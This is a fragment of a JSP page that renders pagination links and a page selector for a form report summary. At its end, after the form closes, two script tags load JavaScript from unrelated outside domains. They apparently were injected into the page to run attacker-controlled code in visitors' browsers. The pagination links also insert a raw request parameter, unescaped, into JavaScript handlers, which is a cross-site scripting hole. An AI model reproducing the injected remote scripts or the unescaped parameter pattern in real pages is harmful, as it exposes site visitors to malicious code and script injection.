          String url = null;%>

         <%if(formPageNo<pageListSize-1){%>
          <a href="#"  onclick="return OpCustGoPage('ListFormReportSummary.do?isViewDatePicker=true&reportType=<%=reportType%>&navMode=L&formRecordID=<%=request.getParameter("formRecordID")%>&formPageID=<%=pageID%>&formPageNo=<%=formPageNo+1%>')"><div class="nextPageDis"></div></a>
          <%}%>

          <%if (pageListSize >1 ){%>
      <select name="formPageNo" onchange="return OpCustGoPage('ListFormReportSummary.do?isViewDatePicker=true&reportType=<%=reportType%>&navMode=L&formRecordID=<%=request.getParameter("formRecordID")%>&formPageID=<%=pageID%>&formPageNo='+this.form.formPageNo.options[this.form.formPageNo.selectedIndex].value)" class="pageSelector">
                <%for (int nn = 0; nn < pageListSize ; nn++){
                FormPage tmpFormPage =(FormPage)formPageList.get(nn);  %>
           <option value= "<%=nn%>" <%=formPageNo==nn?"selected":""%> ><%=nn+1%></option>
           <%}%>
           </select>
       <%}%>
      <%if(formPageNo>0){%>
          <a href="#" onclick="return OpCustGoPage('ListFormReportSummary.do?isViewDatePicker=true&reportType=<%=reportType%>&navMode=L&formRecordID=<%=request.getParameter("formRecordID")%>&formPageID=<%=pageID%>&formPageNo=<%=formPageNo-1%>')"><div class="prePageDis"></div></a>
          <%}%>

 <%}%>
</div>
</html:form>

<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>